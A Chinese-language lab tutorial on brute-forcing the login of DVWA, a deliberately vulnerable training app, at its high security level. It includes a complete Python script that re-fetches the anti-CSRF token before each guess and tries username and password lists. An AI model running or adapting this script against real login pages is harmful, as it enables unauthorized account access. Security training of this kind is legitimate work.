1. 過程(不查看源代碼)
使用burpsuite或者owasp zap抓取數據包,可以看出頁面執行過程如下:
首先獲取上一次請求的token,然后sleep幾秒,最后使用get方法提交驗證。
2. 原理
訪問暴力破解的頁面,獲取token;
帶入參數再次訪問該頁面進行破解。
3. 仿照
搜索類似代碼,編寫暴力破解的代碼。
4. 模擬登錄
在最初訪問該頁面時,實際訪問的頁面是DVWA的login.php。
需要在訪問頁面時設置header的cookie。
r = requests.get(url, headers=headers)
5. 查找token
可以使用re(正則表達式)查找。
也可以使用BeautifulSoup查找。
由於響應頁面的user_token沒有id,所以不能使用id進行查找。
可以看到,user_token是第4個input,因此可以通過查找input,獲取token的值。
url = "http://%s/dvwa/vulnerabilities/brute/" % ip r = requests.get(url, headers=headers) soup = BeautifulSoup(r.text, "html.parser") token = soup.find_all("input")[3].get("value")
6. 完整代碼
# -*- coding: utf-8 -*-
# author = 'K0ctr'
import requests
# import re
from bs4 import BeautifulSoup
ip = "192.168.203.128"
headers = {
# "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Cookie": "security=high; PHPSESSID=5c6sgq0cclaer2tdpi6iep1m62"
}
names = open("small.txt", 'r', encoding="utf-8")
passwords = open("common_pass.txt", 'r', encoding='utf-8')
for username in names:
passwords.seek(0)
for password in passwords:
url = "http://%s/dvwa/vulnerabilities/brute/" % ip
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.text, "html.parser")
token = soup.find_all("input")[3].get("value")
# token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)", r.text)[0]
get_data = {
"user_token": token,
"username": username.strip(),
"password": password.strip(),
"Login": "Login"
}
print('-' * 20)
print('用戶名:', username.strip())
print('密碼:', password.strip())
r = requests.get(url, params=get_data, headers=headers)
if 'Username and/or password incorrect.' in r.text:
print('破解失敗')
else:
print('破解成功')
print('-' * 20)
passwords.close()
names.close()